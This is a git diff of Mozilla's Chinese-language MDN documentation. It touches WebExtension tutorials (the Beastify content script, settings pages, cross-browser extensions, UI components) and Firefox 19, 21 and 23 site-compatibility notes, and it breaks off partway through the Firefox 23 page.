    +  window.hasRun = true;
    +
    +  /**
    +   * Given a URL to a beast image, remove all existing beasts, then
    +   * create and style an IMG node pointing to
    +   * that image, then insert the node into the document.
    +   */
    +  function insertBeast(beastURL) {
    +    removeExistingBeasts();
    +    let beastImage = document.createElement("img");
    +    beastImage.setAttribute("src", beastURL);
    +    beastImage.style.height = "100vh";
    +    beastImage.className = "beastify-image";
    +    document.body.appendChild(beastImage);
    +  }
    +
    +  /**
    +   * Remove every beast from the page.
    +   */
    +  function removeExistingBeasts() {
    +    let existingBeasts = document.querySelectorAll(".beastify-image");
    +    for (let beast of existingBeasts) {
    +      beast.remove();
    +    }
    +  }
    +
    +  /**
    +   * Listen for messages from the background script.
    +   * Call "beastify()" or "reset()".
    +  */
    +  browser.runtime.onMessage.addListener((message) => {
    +    if (message.command === "beastify") {
    +      insertBeast(message.beastURL);
    +    } else if (message.command === "reset") {
    +      removeExistingBeasts();
    +    }
    +  });
    +
    +})();
    +
  2. +
+ +

content script做的第一件事是检查全局变量 window.hasRun:如果它被设置了,脚本直接返回,否则设置window.hasRun并继续。原因是每次用户打开弹出窗,弹出窗就会在活跃页面执行一个content script ,所以我们可能会在单个页面运行多个脚本实例。如果是这样的话,我们需要保证只有一个实例在做所有事情。

+ +

然后,从第40行开始,content script 监听来自弹出窗的信息,使用browser.runtime.onMessage API。在上面我们看到弹出窗脚本能够发送两种不同的信息:"beastify" and "reset"。

+ + + +

动物们

+ +

最后,我们要加入包含动物们的图像。

+ +

创建"beasts"文件夹,之后将图片放入并命名。你可以从 the GitHub repository,或这里下载图片:

+ +

+ +

测试

+ +

请仔细确认项目目录如下所示:

+ +
    +
  1. +
    beastify/
    +
    +    beasts/
    +        frog.jpg
    +        snake.jpg
    +        turtle.jpg
    +
    +    content_scripts/
    +        beastify.js
    +
    +    icons/
    +        beasts-32.png
    +        beasts-48.png
    +
    +    popup/
    +        choose_beast.css
    +        choose_beast.html
    +        choose_beast.js
    +
    +    manifest.json
    +
  2. +
+ +

Firefox 45开始,你可以临时从硬盘中安装扩展

+ +

在Firefox地址栏中输入:about:debugging,单击“临时载入附加组件”,然后选择你的manifest.json文件。

+ +

然后你应该已经看到扩展图标出现在了Firefox的工具条上:

+ +

{{EmbedYouTube("sAM78GU4P34")}}

+ +

打开一个网页,然后点击图标,选择一个动物,然后观察网页的变化

+ +

{{EmbedYouTube("YMQXyAQSiE8")}}

+ +

用命令行开发

+ +

你可以通过使用 web-ext 工具来将临时安装的工作自动化,试试这个:

+ +
    +
  1. +
    cd beastify
    +web-ext run
    +
  2. +
diff --git "a/files/zh-cn/mozilla/add-ons/webextensions/\345\256\236\347\216\260\344\270\200\344\270\252\350\256\276\347\275\256\351\241\265\351\235\242/index.html" "b/files/zh-cn/mozilla/add-ons/webextensions/\345\256\236\347\216\260\344\270\200\344\270\252\350\256\276\347\275\256\351\241\265\351\235\242/index.html" deleted file mode 100644 index fe8ac2e0a7..0000000000 --- "a/files/zh-cn/mozilla/add-ons/webextensions/\345\256\236\347\216\260\344\270\200\344\270\252\350\256\276\347\275\256\351\241\265\351\235\242/index.html" +++ /dev/null @@ -1,203 +0,0 @@ ---- -title: 实现一个设置页面 -slug: Mozilla/Add-ons/WebExtensions/实现一个设置页面 -translation_of: Mozilla/Add-ons/WebExtensions/Implement_a_settings_page ---- -
{{AddonSidebar}}
- -

设置页面可以让用户查看,修改扩展的一些设置。

- -

对于WebExtensions,设置通常使用 storage API 保存. 实现一个设置页面通常包含以下三步:

- - - -
-

你也可以使用 runtime.openOptionsPage() 打开该页面。

-
- -

简单的 WebExtension

- -

首先,我们写一个向用户访问的所有页面添加一个蓝色边框的扩展。

- -

创建一个新的文件夹命名为“setting”,然后创建文件“manifest.json”它包含以下内容:

- -
{
-
-  "manifest_version": 2,
-  "name": "Settings example",
-  "version": "1.0",
-
-  "content_scripts": [
-    {
-      "matches": ["<all_urls>"],
-      "js": ["borderify.js"]
-    }
-  ]
-
-}
- -

该扩展指示浏览器在用户访问的网站上加载一个名为"borderify.js“的Content Script。

- -

接下来,在"setting"目录下创建"borderify.js",然后给予他以下内容:

- -
document.body.style.border = "10px solid blue";
- -

这只是向网页加入了一一个蓝色边框

- -

现在 安装该扩展 并测试它——打开任意一个网页:

- -

{{EmbedYouTube("E-WUhihF8fw")}}

- -

添加设置页面

- -

现在让我们创建一个设置页面来允许用户设置边框的颜色。

- -

首先更新 "manifest.json" 使他拥有如下内容:

- -
{
-
-  "manifest_version": 2,
-  "name": "Settings example",
-  "version": "1.0",
-
-  "content_scripts": [
-    {
-      "matches": ["<all_urls>"],
-      "js": ["borderify.js"]
-    }
-  ],
-
-  "options_ui": {
-    "page": "options.html"
-  },
-
-  "permissions": ["storage"]
-
-}
-
- -

我们加入了两个manifest 关键字:

- - - -

接下来,因为我们承诺提供"options.html",让我们来创建他,在"setting"目录创建一个该文件并具有以下内容:

- -
<!DOCTYPE html>
-
-<html>
-  <head>
-    <meta charset="utf-8">
-  </head>
-
-  <body>
-
-    <form>
-        <label>Border color<input type="text" id="color" ></label>
-        <button type="submit">Save</button>
-    </form>
-
-    <script src="options.js"></script>
-
-  </body>
-
-</html>
-
- -

这里定义了一个带有标记文字{{htmlelement("input")}}的 {{htmlelement("form")}} 和一个 提交 {{htmlelement("button")}}. 也包含了一个名为"options.js"的脚本。

- -

仍然在"settting"目录下创建 "options.js",并给予他以下内容:

- -
function saveOptions(e) {
-  e.preventDefault();
-  browser.storage.local.set({
-    color: document.querySelector("#color").value
-  });
-}
-
-function restoreOptions() {
-
-  function setCurrentChoice(result) {
-    document.querySelector("#color").value = result.color || "blue";
-  }
-
-  function onError(error) {
-    console.log(`Error: ${error}`);
-  }
-
-  var getting = browser.storage.local.get("color");
-  getting.then(setCurrentChoice, onError);
-}
-
-document.addEventListener("DOMContentLoaded", restoreOptions);
-document.querySelector("form").addEventListener("submit", saveOptions);
-
- -

它做了两件事:

- - - -

最后,更新"borderify.js" 来读取边框颜色:

- -
-

因为 browser.storage.local.get() 在火狐52版本之前的一个漏洞 ,以下代码没法起作用。为了使它生效,onGot()中的 item.color 必须改为 item[0].color。

-
- -
 function onError(error) {
-  console.log(`Error: ${error}`);
-}
-
-function onGot(item) {
-  var color = "blue";
-  if (item.color) {
-    color = item.color;
-  }
-  document.body.style.border = "10px solid " + color;
-}
-
-var getting = browser.storage.local.get("color");
-getting.then(onGot, onError);
-
- -

最后,完整的扩展看起来是这样:

- -
settings/
-    borderify.js
-    manifest.json
-    options.html
-    options.js
- -

现在:

- - - -

在火狐中你可以通过访问"about:addons"点击扩展旁边的"Preferences"按钮访问设置页面。

- -

{{EmbedYouTube("ECt9cbWh1qs")}}

- -

进一步了解

- - diff --git "a/files/zh-cn/mozilla/add-ons/webextensions/\346\236\204\345\273\272\344\270\200\344\270\252\350\267\250\346\265\217\350\247\210\345\231\250\347\232\204\346\211\251\345\261\225\346\217\222\344\273\266/index.html" "b/files/zh-cn/mozilla/add-ons/webextensions/\346\236\204\345\273\272\344\270\200\344\270\252\350\267\250\346\265\217\350\247\210\345\231\250\347\232\204\346\211\251\345\261\225\346\217\222\344\273\266/index.html" deleted file mode 100644 index 6d1a21497c..0000000000 --- "a/files/zh-cn/mozilla/add-ons/webextensions/\346\236\204\345\273\272\344\270\200\344\270\252\350\267\250\346\265\217\350\247\210\345\231\250\347\232\204\346\211\251\345\261\225\346\217\222\344\273\266/index.html" +++ /dev/null @@ -1,275 +0,0 @@ ---- -title: 构建一个跨浏览器的扩展程序 -slug: Mozilla/Add-ons/WebExtensions/构建一个跨浏览器的扩展插件 -tags: - - Web插件 - - 扩展 - - 指南 - - 插件 -translation_of: Mozilla/Add-ons/WebExtensions/Build_a_cross_browser_extension ---- -

{{AddonSidebar()}}

- -

浏览器扩展 API 的引入为浏览器扩展的开发创造了 “一次开发跨浏览器” 的前景。然而,在使用扩展 API 的浏览器中(主要是 Chrome、 Firefox、 Opera 和 Edge) ,API 的实现和覆盖范围都存在差异。除此之外,Safari 使用了它自己的 Safari 扩展脚本系统。

- -

最大化兼容浏览器扩展意味着至少在两个不同的浏览器上兼容同一个扩展。本文探讨了在创建跨浏览器扩展时所面临的六个主要挑战,并在每种情况下提出了如何应对这些挑战。

- -

本文不讨论为 Safari 构建浏览器扩展。您可以通过 Safari 扩展共享一些资源,比如图片和 HTML 内容。然而,如果您要进行 JavaScript 部分的编程则需要作为一个单独的开发项目进行,除非您希望创建自己的 polyfill。

- -

跨平台扩展的开发障碍

- -

在开发跨平台扩展时,需要注意以下六个方面:

- - - -

API 命名空间

- -

在四大主流浏览器中,有两个 API 命名空间正在使用:

- - - -

Firefox 也支持 Chrome 浏览器的 chrome.* 名称空间,主要用于协助扩展移植。然而,首选应该使用浏览器 browser.* 命名空间。除了被提议的标准外, browser.* 使用 promises ーー一种现代化且简单的处理异步事件机制。

- -

只有在非常小的扩展中,命名空间才可能是唯一的跨平台问题。因此,如果你遇到了且试图专门解决这个问题的话,可能很少会有帮助。最好的方法是通过异步事件处理来解决这个问题。

- -

API 异步事件处理

- -

在四个主要浏览器中,有两种方法可以处理异步事件:

- - - -

Firefox 还支持 chrome.* 命名空间中的 callbacks 风格的 API,这主要是为了便于从 Chrome 迁移。然而,应该首选使用 promises(以及 browser.* 命名空间),它已被采纳为拟议标准的一部分。它极大地简化了异步事件处理,特别是在需要将事件链接在一起的情况下。

- -
-

如果你对这两种方法之间的差异不熟悉,可以看一下 了解异步 JavaScript: Callbacks、 Promises 和 Async/Await 或者 MDN 的 Using promises 页面。

-
- -

浏览器扩展 API 的垫片(Polyfill)

- -

那么,当 Firefox 是唯一支持它的浏览器时,你如何轻松地使用 promises 呢?解决方案是使用 promises 为 Firefox 编程,并使用浏览器扩展 API 的垫片(Polyfill)
-
- 这个 polyfill 解决了跨 Firefox、 Chrome 和 Opera 的 API 名称空间和异步事件处理。在撰写本报告时(2018年11月) ,Edge 的支持正在开发中。
-
- 要使用 polyfill,可以使用 npm 安装到开发环境中,或者直接从 GitHub Relase 页面下载。

- -

然后,引入 browser-polyfill.js 到:

- - - -

例如,这个 manifest.json 代码让你的后台脚本可以使用 polyfill:

- -
{
- // ...
- "background": {
-   "scripts": [
-     "browser-polyfill.js",
-     "background.js"
-   ]
- }
-}
- -

您的目标是确保在任何其他扩展脚本执行 browser.* API 前执行 polyfill。

- -
-

关于如何使用模块打包器使用 polyfill 的更多细节和信息,请参阅 GitHub 上的项目自述文件

-
- -

还有其他的 polyfill 选项,但是在撰写本文时,没有一个提供浏览器扩展 API polyfill 的覆盖范围。所以,如果你没有把 Firefox 作为你的首选,你的选择就是接受 polyfills 的限制,移植到 Firefox 并添加跨浏览器的支持,或者开发你自己的 polyfill。

- -

API 函数覆盖率

- -

这四个主要浏览器提供的 API 函数的实现差异可分为三大类:

- - - -

你可以在 Mozilla Developer Network 浏览器对 JavaScript API 页面的支持上找到4个主要浏览器对扩展 API 的支持细节,以及 Firefox for Android 对扩展 API 的支持细节。浏览器兼容性信息也包含在每个函数及其方法、类型和事件的 Mozilla Developer Network JavaScript APIs 参考页面中。

- -

处理 API 差异

- -

解决这些差异的一个简单方法是将扩展中使用的函数限制在没有 API 差异的函数范围内。在实践中,对于大多数扩展,这种方法可能限制性太强。
-
- 相反,如果 API 之间存在差异,则应该提供替代实现或降级功能。(请记住: 您可能还需要这样考虑同一浏览器的不同版本之间的 API 支持差异。)

- -

使用运行时检查函数特性的可用性是实现备选或降级功能的推荐方法。执行运行时检查的好处是,如果函数是可用的,您不需要更新和重新分发扩展来使用它。

- -

下面的代码使您能够执行运行时检查:

- -
if (typeof <function> === "function") {
-   // safe to use the function
-}
- -

Manifest 字段

- -

4个主要浏览器支持的 manifest.json 文件字段的差异大致可分为三类:

- - - -

浏览器兼容性信息包含在 Mozilla Developer Network manifest.json 页的每个字段中。

- -

manifest.json 文件在不同浏览器之间的版本号可能有所不同,为每个浏览器创建和编辑一个静态版本号通常是最简单的方法。

- -

扩展打包

- -

通过浏览器扩展商店打包和分发扩展相对简单。

- - - -

有关打包的详细信息,请参阅相应扩展的开发人员门户网站上的指南。

- -

扩展发布

- -

这四种主要浏览器都维护有浏览器扩展商店。每个商店还对扩展进行审核,以检查安全漏洞。

- -

因此,您需要为每个商店分别添加和更新扩展。在某些情况下,您可以使用脚本上传扩展。

- -

下表总结了每个商店的做法和特点:

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-

注册费

-
-

上传模块

-
-

发布审核

-
-

开发者账号需要2FA验证

-
-

Firefox

-
-

-
-

web-ext

-
-

全自动,仅需要几秒钟1

-
-

-
-

Chrome

-
-

-
-

-
-

全自动,短于一小时

-
-

-
-

Opera

-
-

-
-

-
-

人工审核,但不需要提供SLA

-
-

-
-

Edge

-
-

-
-

-
-

人工审核,需要72小时2

-
-

-
- -

1 在发布后会延期进行一次人工审查,如果发现了需要解决的问题,可能导致扩展被暂停。

- -

2 在撰写本文时,微软只允许发布预先批准的扩展。

- -

其他考虑

- -

扩展命名

- -

Microsoft 要求扩展具有唯一的名称,并通过 Windows Dev Center 为扩展声明一个或多个名称。因此,即使您不打算立即支持 Edge,为微软保留一个扩展名可能是最谨慎的做法。

- -

版本号指定

- -

Firefox 和 Chrome 商店要求每个上传的扩展发布包都有一个单独的版本号。这意味着如果在线上遇到问题,就不能恢复到之前的版本号。

- -

在不同的实现中共享资源

- -

即使你要支持的平台中包括 Safari,仍然可以在对于不同浏览器的实现中共享许多资源。其中包括:

- - - -

总结

- -

在进行跨平台扩展开发时,可以通过对标 Firefox 和使用 WebExtension API Polyfill 来解决扩展 API 之间的根本差异。遵循这种方法,您将在使用与提议的 WebExtension API 标准紧密结合的 API 特性中受益,并使用 promises 来简单的处理异步事件。

- -

跨平台工作的主要重点可能是处理主要浏览器支持的 API 特性之间的差异。创建你的 manifest.json 文件应该是相对简单的,你可以手动完成。然后,您将需要考虑扩展包中的打包差异,以及提交到每个扩展商店的过程差异。

- -

您同时可以使用 browser-extension-template 用于快速设置、生成和发布浏览器扩展项目。

- -

根据本文中的建议,您现在应该能够创建一个在四种主要浏览器上都运行良好的扩展程序,使您能够将扩展功能交付给更多的人。

diff --git "a/files/zh-cn/mozilla/add-ons/webextensions/\347\224\250\346\210\267\347\225\214\351\235\242\345\205\203\347\264\240/index.html" "b/files/zh-cn/mozilla/add-ons/webextensions/\347\224\250\346\210\267\347\225\214\351\235\242\345\205\203\347\264\240/index.html" deleted file mode 100644 index 0aaec74b1f..0000000000 --- "a/files/zh-cn/mozilla/add-ons/webextensions/\347\224\250\346\210\267\347\225\214\351\235\242\345\205\203\347\264\240/index.html" +++ /dev/null @@ -1,163 +0,0 @@ ---- -title: 用户界面元素 -slug: Mozilla/Add-ons/WebExtensions/用户界面元素 -translation_of: Mozilla/Add-ons/WebExtensions/user_interface -translation_of_original: Mozilla/Add-ons/WebExtensions/User_interface_components ---- -
{{AddonSidebar}}
- -

该主题概括了所有你能用来创建你扩展的用户界面的组件。

- -

浏览器行为

- -

浏览器行为是一个你能添加至浏览器工具栏的按钮,用户可以点击该按钮来与你的扩展交互。

- -

- -

有两种方式定义一个浏览器行为: 有一个 弹出菜单, 或者没有弹出菜单。

- -

当你没有定义一个弹出菜单时,用户点击按钮会导致一个消息被分发至扩展,而你可以使用 browserAction.onClicked 来监听它:

- -
browser.browserAction.onClicked.addListener(handleClick);
- -

如果你定义了弹出菜单,点击事件就不会被分发取而代之的是弹出菜单会显示出来。用户可以跟弹出菜单交互而当用户点击菜单外的区域时它会自动关闭。

- -

值得注意的是你的扩展只能拥有一个浏览器行为。

- -

定义浏览器行为

- -

你通过使用在manifest.json 文件中使用 browser_action 关键字定义浏览器行为的属性 - 图标, 标题, 弹出菜单 :

- -
"browser_action": {
-  "default_icon": {
-    "19": "button/geo-19.png",
-    "38": "button/geo-38.png"
-  },
-  "default_title": "Whereami?",
-  "default_popup": "popup/geo.html"
-}
- -

唯一必要的关键字是 default_icon.你可以使用 browserAction API 修改任何属性.

- -

例子

- -

在GITHUB上的 webextensions-examples 资源包含了以下使用浏览行为的例子:

- - - -

页面行为

- -

页面行为在很多方面类似于 browser actions , 除了:

- - - -

为了强调页面行为只跟部分页面有联系,他们将其显示在地址栏内而不是工具栏:

- -

- -

不像浏览器行为,页面行为默认是关闭的, 调用 pageAction.show()pageAction.hide() 可以显示或隐藏页面行为。

- -

定义页面行为

- -

通过在manifest.json中使用page_action 关键字来定义页面行为的属性 —— 图标, 标题, 弹出菜单:

- -
"page_action": {
-  "browser_style": true,
-  "default_icon": {
-    "19": "button/geo-19.png",
-    "38": "button/geo-38.png"
-  },
-  "default_title": "Whereami?",
-  "default_popup": "popup/geo.html"
-}
- -

default_icon 是唯一强制要求的关键字. 你可以使用 pageAction API 修改所有的属性或现实或隐藏页面行为。

- -

例子

- -

 chill-out 例子使用了一个页面行为。

- -

弹出菜单

- -

一个弹出菜单是一个绑定至 browser action 或者 page action  的对话框。

- -

- -

当用户点击按钮弹出菜单显示,当用户点击弹出菜单外的任何区域弹出菜单关闭。可以使用  window.close() 来关闭弹出菜单。

- -

你可以使用专门的在manifest.json中使用"_execute_browser_action" 和 "_execute_page_action" 来定义一个快捷键打开浏览器行为或页面行为. 详情请看 commands manifest.json 关键字。不过你不能在你的扩展脚本中通过编程打开弹出菜单 : 他只能通过用户的行为的被打开。

- -

弹出菜单像普通网页一样通过HTML文件被定义,你当然也可以在里面包含CSS 和 javascript文件。 而且不像普通网页, 其包含的javascript可以使用所有的已经通过permissions获取了使用权限的 WebExtension APIs

- -

你可以要求浏览器在你的弹出菜单中包含一个样式表以使其看起来与浏览器UI一致。为了达成这一目的,在你的 browser_actionpage_action  关键字中包含 "browser_style": true

- -

弹出菜单存在一个限制其可以加载资源的源地址的安全机制, 同时不允许类似 eval() 的做法的使用 查看 Content Security Policy 获取更多细节。

- -

你可以使用Add-on Debugger来调试弹出菜单标记和脚本,但是你需要一些技巧来设置让弹出菜单不在自动关闭。 阅读关于调试弹出菜单

- -

弹出菜单尺寸重新计算

- -

弹出菜单自动根据其内容调整尺寸。其适应算法可能因浏览器而不同。

- -

在火狐, 尺寸只再弹出菜单显示前被计算,而且在内容变化后至多进行每秒十次的计算。严格来说, 尺寸受 <body> 元素放置尺寸决定。 一种怪异的说法是, 他由 <html> 决定, Firefox 计算该元素的推荐宽度, 重新调整弹出菜单至其宽度, 然后完成尺寸调整所以这里没有上下滚动。 如果适应用户的屏幕他可能会增长到800X600px的尺寸。 如果用户 移动弹出菜单对应按钮到菜单面板 ,而后弹出菜单会在菜单栏内显示并具有合适的尺寸。

- -

设置页面

- -

设置页面允许你定义你的扩展可以被用户修改的选项。 用户从浏览器扩展管理器中访问设置页面:

- -

{{EmbedYouTube("02oXAcbUv-s")}}

- -

每个浏览器访问该页面的方法存在区别。

- - - -

你可以通过调用 runtime.openOptionsPage() 打开设置页面

- -

设置页面存在一个限制其可以加载资源的源地址的安全机制, 同时不允许类似 eval() 的做法的使用 查看 Content Security Policy 获取更多细节。

- -

定义一个设置页面:

- -

创建一个设置页面有以下流程:

- - - -

例子

- -

 favourite-colour 使用了设置页面。

- -

上下文菜单项

- -

使用 {{WebExtAPIRef("contextMenus")}} API, 你可以按你指定的情况向浏览器上下文菜单添加项目, 比如,你可以只在用户点击图片时显示一项,或者在一个可编辑的元素上,或者被选择的页面的一部份。

- -

指定一个上下文菜单项

- -

您可以使用{{WebExtAPIRef("contextMenus")}} API来 程序化地管理上下文菜单项。

- -

例子

- -

 context-menu-demo 创建了几种不同的上下文菜单项。

- -

通知

- -

使用 {{WebExtAPIRef("notifications")}} API,你通过使用操作系统的通知系统可以创建短时通知:

- -

- -

定义一个通知

- -

使用{{WebExtAPIRef("notifications")}} API 可以程序化地管理通知。

- -

Examples

- -

notify-link-clicks-i18n 创建了通知。

diff --git a/files/zh-cn/mozilla/firefox/releases/19/site_compatibility/index.html b/files/zh-cn/mozilla/firefox/releases/19/site_compatibility/index.html new file mode 100644 index 0000000000..c026e80052 --- /dev/null +++ b/files/zh-cn/mozilla/firefox/releases/19/site_compatibility/index.html @@ -0,0 +1,144 @@ +--- +title: Site Compatibility for Firefox 19 +slug: Site_Compatibility_for_Firefox_19 +translation_of: Mozilla/Firefox/Releases/19/Site_compatibility +--- +
{{FirefoxSidebar}}

{{ draft() }}

+

Firefox 19 Beta was released on . While it has been developed to maintain compatibility as much as possible, the new version includes some changes affecting backward compatibility aimed at improving interoperability with the other browsers or following the latest Web standards. Here's the list of such changes — Hope this helps whenever you test your sites or applications.

+

This article only explains the changes that may affect backward compatibility for Websites. For the other new features and changes, please read the following documents:

+ +

This list may be updated until the release of the final version, so please check back later.

+
+

CSS

+
+

flexbox脱前缀

+ +

The CSS3 flexible boxes (flexbox) implementation has been prefixed. From now on, use the related properties and keywords without moz prefix. Note that the flexbox is still disabled by default in Firefox 19. If you'd like to test the feature, open about:config and change the value of layout.css.flexbox.enabled to true.

+
+
+

-moz-initial属性脱前缀

+ +

The -moz-initial keyword has been unprefixed. While -moz-initial will remain in the meantime as an alias of initial, it will be removed at some time, so use the unprefixed keyword instead.

+
+
+

:-moz-placeholder伪类已修改成伪元素::-moz-placeholder

+ +

The :-moz-placeholder pseudo-class that matches form elements with the placeholder attribute has been removed, and the ::-moz-placeholder pseudo-element has been added instead. The implementation of WebKit has been a pseudo-element, and this change is a part of the standardization effort.

+
+
+

CSS动画中带有!important的关键帧规则声明将被忽略

+ +

Following the latest CSS3 animations spec, key frame rule declarations with the !important keyword are now be ignored and parse errors will be returned.

+
+
+

在about:config中添加了一些控制带前缀的CSS属性的有效性的选项

+ +

While this is not a change affecting site compatibility, it's worth mentioning because this has been developed as part of efforts to keep compatibility. Preferences to disable some major prefixed properties have been added: layout.css.prefixes.border-image, layout.css.prefixes.transforms, layout.css.prefixes.transitions and layout.css.prefixes.animations. Web developers can disable those preferences (change the values to false) to test whether style rules are applied as intended even after those prefixed implementations are removed.

+
+
+
+

DOM

+
+

Element.getElementsBy* 现在将返回HTMLCollection对象

+ +

getElementsByTagName, getElementsByTagNameNS以及getElementsByClassName方法返回的元素列表对象的类型从NodeList(遵循DOM3核心规范)变为HTMLCollection(遵循DOM4规范草案).

+
+
+

hasFeature/isSupported方法现在总会返回true

+ +

The document.implementation.hasFeature and Element.isSupported methods have been changed to always return true. The spec has been changed because those APIs were considered useless. However the SVG features are exception; those methods continue to return the support statuses.

+
+
+

createElement(null)不再抛出异常

+ +

Previously the document.createElement method has thrown exception INVALID_CHARACTER_ERR if the argument was null. The method now returns the HTMLUnknownElement object because the argument should be treated as a string and considered to be the same code as document.createElement("null").

+
+
+

document.referrer遵循了最新规范

+ +

When the URL of a nested inline frame (iframe) or a grandchild window is programmatically changed from the parent window, the value of the document.referrer property now points the URL of the parent window where the script is written instead of the child window that refers directly. This is due to a change of the spec and leads to the same behavior as Internet Explorer and Opera. WebKit to follow.

+
+
+

如果修改日期未知,则File.lastModifiedDate属性将返回当前日期

+ +

Following the latest File API spec, the lastModifiedDate property of a File object now returns the current date if the file's last modified date is unknown. Previously it returns null in such case.

+
+
+

Encoding API 遵循了最新规范

+ +

Following a change of the Encoding API spec, the implementation of TextEncoder and TextDecoder has been updated.

+
+
+

移除XForms支持

+ +

The XML Events implementation has been removed. The development of the Mozilla XForms extension that has used the API has been practically discontinued. The XForms accessibility support has also been removed from Firefox 19.

+
+
+
+

JavaScript

+
+

Map.sizeSet.size从方法变成属性

+ +

The size method, that returns the number of key/value pairs saved in a Map object and the number of values saved in a Set object, are changed to be read-only properties.

+
+
+
+

事件处理

+
+

一些事件句柄属性只存在于bodyframeset元素上

+ +

Previously, the onbeforeunload attribute has been recognized even if it has been set on any elements, and the named handler is called when the event is fired. To comply with the spec, it's now ignored when it has been set on elements other than body and frameset. The other attributes treated the same include onafterprint, onbeforeprint, onhashchange, onoffline, ononline, onpagehide, onpageshow, onpopstate, onresize and onunload.

+
+
+
+

文件处理

+
+

不再支持Content-Disposition响应头中的name参数

+ +

The name parameter included in the HTTP Content-Disposition header used for file downloading is now ignored. This parameter is non-standard and supported only by Firefox and Google Chrome. From now, use the standard filename parameter instead.

+
+
+
+

插件

+
+

移除了对Carbon NPAPI的支持

+ +

The Carbon event model and the Quickdraw drawing model, deprecated since Firefox 4, are no longer available. Webmasters should make sure your content works well if it requires any special plug-in. If it doesn't work on Firefox 19, please contact the plug-in vendor.

+
+
diff --git a/files/zh-cn/mozilla/firefox/releases/21/site_compatibility/index.html b/files/zh-cn/mozilla/firefox/releases/21/site_compatibility/index.html new file mode 100644 index 0000000000..cf566f4262 --- /dev/null +++ b/files/zh-cn/mozilla/firefox/releases/21/site_compatibility/index.html @@ -0,0 +1,145 @@ +--- +title: Firefox 21网站兼容性 +slug: Site_Compatibility_for_Firefox_21 +translation_of: Mozilla/Firefox/Releases/21/Site_compatibility +--- +
{{FirefoxSidebar}}
+

CSS

+
+

-moz-user-select:none的表现变得和-moz-user-select:-moz-none相同,也就是和其他浏览器实现了统一

+ +

Previously, when you set the none keyword to the -moz-user-select property, the text of on the element and sub-elements became unselectable, even if one of those sub-elements had -moz-user-select:text. Starting with Firefox 21, none behaves like -moz-none and other browsers, so selection can be re-enabled on sub-elements using -moz-user-select:text.

+
+
+
+

DOM

+
+

删除了对tablecolslayout属性的支持

+ +

Firefox no longer accepts the cols and layout properties on the table elements. No other browsers support these obscure properties.

+
+
+

scrollWidthscrollHeight不再受overflow:visible的影响

+ +

The scrollWidth and scrollHeight properties might have wrong values when CSS overflow:visible was set on the element. This behavior has been fixed to match the values as if overflow:hidden is set.

+
+
+

window不再接受自定义的索引属性

+ +

Setting indexed expandos (custom properties which have number as the property name) on the window object is no longer allowed. Your code like window[2] = "myString" will be ignored from now on.

+
+
+

window对象上的索引属性变的可枚举

+ +

Previously, iframes in the DOM were not enumerable on the window object. This behavior has been changed to comply with the spec, which means they are now returned with Object.keys(window). This is important to note for things like global leak detection, since appending iframes to the document will modify the enumerable keys on the window object.

+
+
+

XMLHttpRequest.setRequestHeader方法的实现遵循了当前规范

+ +

Previously, if the same headers were repeatedly set with XMLHttpRequest.setRequestHeader, the last-specified value was used. This behavior has been changed to comply with the spec, so those values will be properly combined.

+
+
+

formMethodformEnctype的默认值成为一个空字符串

+ +

The HTML5 spec of the formMethod and formEnctype properties has been updated to have the empty string as default value. Firefox followed the change.

+
+
+

如果传递多条规则,CSSStyleSheet.insertRule方法会报错

+ +

If multiple rules was passed to the CSSStyleSheet.insertRule method, only the first rule was inserted into the stylesheet. Instead, Firefox now throws an exception SYNTAX_ERR like other browsers.

+
+
+

NodeIteratorTreeWalker上删除掉expandEntityReferences属性

+ +

The expandEntityReferences property, which returned a flag indicating whether or not the children of entity reference nodes were visible to the object, has been removed from the NodeIterator and TreeWalker objects, as it never made much sense.

+
+
+

CSSKeyframesRule.insertRule方法被改名为appendRule

+ +

One of the methods of the CSSKeyframesRule interface, insertRule has been renamed to appendRule to match a spec change.

+
+
+

HTMLInputElement.inputmode现在默认被禁用

+ +

HTMLInputElement's inputmode API, which has been implemented since Firefox 17, is now disabled by default because the spec is still unstable. You have to enable the dom.forms.inputmode pref or use the Aurora channel to try out this feature. Note that this API will be renamed inputMode (capitalized M) in Firefox 22.

+
+
+
+

JavaScript

+
+

E4X已经被完全删除

+ +

The support of ECMAScript for XML (E4X), deprecated and disabled since Firefox 17, has finally been dropped. You can no longer use the feature regardless of the hidden preference.

+
+
+

parseInt把以0开头的字符串当成十进制数字解析,而不是以前的八进制

+ +

The parseInt method implementation has been updated to conform to the ECMAScript 5 spec, and it now parses leading-zero strings as decimal, not octal. Therefore, parseInt("042") will return 42 instead of 34. If you'd like to parse strings as octal, specify the radix like parseInt(str, 8).

+
+
+

修正String.localeCompare在无参情况下的表现,以符合ES5规范

+ +

The String.localeCompare method implementation has been updated to conform to the latest ECMAScript 5 spec. If no argument is passed, the method takes the "undefined" string as the argument.

+
+
+
+

SVG

+
+

删除掉那些未实现的SVG特性

+ +

Unimplemented SVG features have been removed instead of just returning the NOT_IMPLEMENTED errors. These features include the viewport and currentView properties of SVGSVGElement.

+
+
+
+

Audio/Video

+
+

mozAudioContext属性脱前缀

+ +

The mozAudioContext implementation has been unprefixed. It's still disabled by default, though. To try out this feature, change the value of the media.webaudio.enabled pref to true.

+
+
+
+

安全

+
+

CSP实现更新到符合最新规范

+ +

Content Security Policy (CSP) 1.0 spec has been implemented. The existing parser will be used when a policy is served via the X-Content-Security-Policy header, and the new parser that follows the 1.0 spec will be used when a policy is served via the officially spec'd Content-Security-Policy header. Consult the latest spec if you'd like to implement CSP on your site. The documents on MDN will be updated sometime soon.

+
+
diff --git a/files/zh-cn/mozilla/firefox/releases/23/site_compatibility/index.html b/files/zh-cn/mozilla/firefox/releases/23/site_compatibility/index.html new file mode 100644 index 0000000000..34f2ab9b60 --- /dev/null +++ b/files/zh-cn/mozilla/firefox/releases/23/site_compatibility/index.html @@ -0,0 +1,92 @@ +--- +title: Site Compatibility for Firefox 23 +slug: Site_Compatibility_for_Firefox_23 +translation_of: Mozilla/Firefox/Releases/23/Site_compatibility +--- +
{{FirefoxSidebar}}

{{ draft() }}

+

Firefox 23 Aurora (pre-Beta) was released on . While it has been developed to maintain compatibility as much as possible, the new version includes some changes affecting backward compatibility aimed at improving interoperability with the other browsers or following the latest Web standards. Here's the list of such changes — Hope this helps whenever you test your sites or applications.

+

This article only explains the changes that may affect backward compatibility for Websites. For the other new features and changes, please read the following documents:

+ +

This list may be updated until the release of the final version on , so please check back later.

+
+

CSS

+
+

能产生文字闪烁效果的text-decoration:blink属性值被删除

+ +

